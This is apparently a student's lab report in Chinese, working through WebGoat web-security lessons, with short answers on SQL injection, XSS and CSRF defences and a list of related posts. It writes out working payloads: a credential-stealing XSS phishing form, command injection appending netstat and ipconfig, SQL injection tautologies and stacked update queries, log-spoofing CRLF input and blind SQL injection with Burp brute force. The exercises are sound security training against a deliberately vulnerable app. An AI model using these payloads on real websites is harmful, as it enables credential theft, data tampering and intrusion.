20155323刘威良《网络对抗》Exp9 Web安全基础

实践目的

理解常用网络攻击技术的基本原理。

实践内容

Webgoat实践下相关实验。

实践过程

开启WebGoat

WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的。这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索。

我们在终端下输入命令java -jar webgoat-container-7.0.1-war-exec.jar,等到运行完毕,WebGoat服务就打开了。如图所示,该服务占用的是8080端口。

我们再在浏览器中打开8080端口localhost:8080/WebGoat就可以进入WebGoat,可以用图中默认的账户密码登录。

Phishing with XSS

题目是跨站脚本钓鱼攻击,要求我们在搜索框中输入XSS攻击代码,读取被攻击者输入的用户名和密码。

`</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>`

将代码添加到Search框内后点击search,然后输入任意用户名密码并提交,就可以显示攻击成功。我们得到了被攻击者的用户名和密码。

Stored XSS Attacks

储存型XSS攻击,我们在留言板中进行恶意留言,点击这条留言就可以看到我们留下的信息。

message框输入<script>alert("20155323lwl");</script>代码并提交,再点开链接,就可以显示攻击成功。

Reflected XSS Attacks

反射型XSS攻击,在输入框插入一段浏览器可以解释的代码,那么就相当于将其植入到了value中,浏览器会解释这段代码。

在code框中输入<script>alert("20155323lwl");</script>,点击Purchase会出现对话框显示攻击成功。

Command Injection

命令注入,要求给操作系统注入命令行并能够在目标主机上执行系统命令,我们打开源代码界面搜索BackDoors,在BackDoors.help后加上一段代码& netstat -an & ipconfig,目的是注入netstat -an以及ifconfig这两个系统命令以获取IP以及网络端口使用情况。

修改完后选定刚刚设定的值并且点击view,我们就可以得到本机的网络端口使用情况和ip地址。

Numeric SQL Injection

数字型SQL注入,要求我们利用SQL注入获得所有的天气数据。

首先在源代码中进行修改,在station中任意一个值后加上永真式1=1,再进行攻击,我们就可以得到所有城市的天气数据。

Log Spoofing

日志欺骗,利用日志的格式,使用换行等字符注入恶意字符串,按照规则伪造日志欺骗管理员。

我们可以在用户名框内输入命令PC%0d%0aLogin Succeeded for username: admin,注入回车%0d和换行符%0a,留下假的登陆成功日志。

String SQL Injection

SQL字符串注入,尝试使用'Smith'的用户名来注入一个字符串,显示用户所有信用卡号码。

其实用户名不是关键,输入任何用户名或者不输入都可以,主要是要在用户名后加上永真式,这是最简单的SQL注入攻击。

Stage 1:String SQL Injection

要求使用字符串SQL注入来绕过身份验证,我们还是在密码框中使用永真式,但是发现登录失败。打开源码我们可以发现,密码的最大长度为8,我们将最大长度修改为100,再在密码栏中输入‘ or 1=1 --进行登录,'--'为注释符号。

Stage 3:Numeric SQL Injection

要求通过认证执行SQL注入,使用普通员工的权限来得到boss账户的信息。

还是先执行上一个实践的步骤登录员工账户,然后在源码中搜索value,在101后加上永真式 or 1=1 order by salary desc--,再点击viewProfile我们就可以看到老板的账户信息了。

Database Backdoors

数据库后门,首先我们可以输入101查看该用户信息

然后我们可以输入sql语句来修改信息内容,101; update employee set salary=1000000 where userid=101;,薪水就呗我们改成100了。

我们还可以使用SQL注入创建一个触发器,这样子创建新用户时就会修改邮箱为你的邮箱。

Blind Numeric SQL Injection

数字型盲注,有时我们获取不到自己需要的信息,此时可以通过SQL语句的条件判断。比如利用二分法去判断并逐渐缩小区间。

首先输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 500 );判断pin值是否大于500,结果显示Account number is valid,说明的确是大于500

我们再改为2000,发现还是大于2000,再试试3000,这里显示invalid account number,说明错误了,此时pin值范围在2000-3000之间。

使用BurpSuite,截获报文进行暴力破解,由于8080端口被占用,我们添加一个新端口并勾选。

然后在浏览器的端口设置中选择自己刚刚设置的新端口。

在webgoat端点击go,捕获到了报文后右键选择send to intruder,然后设置载荷,从2000到3000进行,步数为1,设置完成后开始攻击。

最后我们发现发现2364与其他有明显区别

输入2364进行验证。

回答问题

(1)SQL注入攻击原理,如何防御

原理是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。

防御手段可以是限制用户权限,严格规定输入格式,过滤掉特殊字符以防永真式之类的语句出现。

(2)XSS攻击的原理,如何防御

原理是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。

防御手段可以是严格进行过滤,对于这种敏感词汇要屏蔽掉

(3)CSRF攻击原理,如何防御

原理是通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击 相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。

实践体会

这次实践内容很多,虽然是一个个小的实践,但是也出了一些问题。不过主要还是难在要在WebGoat网站上进行实践,英文不好简直是硬伤,要靠翻译和同学指导才能看懂。。在实践中同学也给我提供了很大的帮助,很感谢他们。

20155323刘威良《网络对抗》Exp9 Web安全基础的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  3. 20155323刘威良 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...

  4. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  5. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  6. 20145315何佳蕾《网络对抗》Web安全基础

    20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...

  7. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  8. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  9. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

随机推荐

  1. ubantu 16.4 Hadoop 完全分布式搭建

    一个虚拟机 1.以  NAT网卡模式   装载虚拟机 2.最好将几个用到的虚拟机修改主机名,静态IP     /etc/network/interface,这里 是 s101 s102  s103 三 ...

  2. Windows桌面.exe程序安装、卸载、升级测试用例

    一.安装 1) 系统:XP.win 7.win 8.win 10 2)安全类型软件:360杀毒.360安全卫士.金山毒霸.百度杀毒.腾讯电脑管家等. 3)同类型软件兼容 4)用户名称:中文用户.英文用 ...

  3. Linux服务器ftp+httpd部署

    一.ftp安装 1.安装vsftpd 命令:yum -y install vsftpd 2.修改ftp配置文件 命令:vim /etc/vsftpd/vsftpd.conf 3.按i进入insert模 ...

  4. 构建第一个SpringBoot工程

    学习和使用 SpringBoot 有一段时间了,现在开始陆陆续续会总结归纳 SpringBoot 学习中遇到的相关知识点. SpringBoot 设计目的是用来简化新Spring应用的初始搭建以及开发 ...

  5. USB AUDIO Device CLASS Requests

    写在前面 本文翻译自 USB Device Class Definition for Audio Devices 1998年版.主要是鄙人个人使用,所以只挑对我有用的翻译.有些我认为不是很重要的可能就 ...

  6. VMware 导出镜像文件供 Virtual Box 使用

    1. 问题描述 Windows 系统安装的 VMware 里的安装配置好的虚拟机需要拷贝到 MAC 的 Virtual Box 中. 需要将 VMware 中的虚拟机导出为镜像文件供 Virtual ...

  7. 【Ansible 文档】【译文】主机清单文件

    Inventory 主机清单文件 Ansible 可以对你的基础设施中多个主机系统同时进行操作.通过选择在Ansible的inventory列出的一部分主机来实现.inventory默认保存在/etc ...

  8. 加强对HEAD 请求的处理(转贴)

    最近发现有些搜索引擎爬虫在抓取数据的时候,先是通过一个HEAD 请求获取response的header 信息,然后再通过GET 请求获取response 的body信息(即页面的内容)——先发送HEA ...

  9. 各种SQL查询技巧汇总 (转)

    原文地址: https://blog.csdn.net/tim_phper/article/details/54963828 select select * from student; all 查询所 ...

  10. String----是一个对象

    * 字符串可以看成是字符组成的数组,但是js中没有字符类型 * 字符是一个一个的,在别的语言中字符用一对单引号括起来 * 在js中字符串可以使用单引号也可以使用双引号 * 因为字符串可以看成是数组,所 ...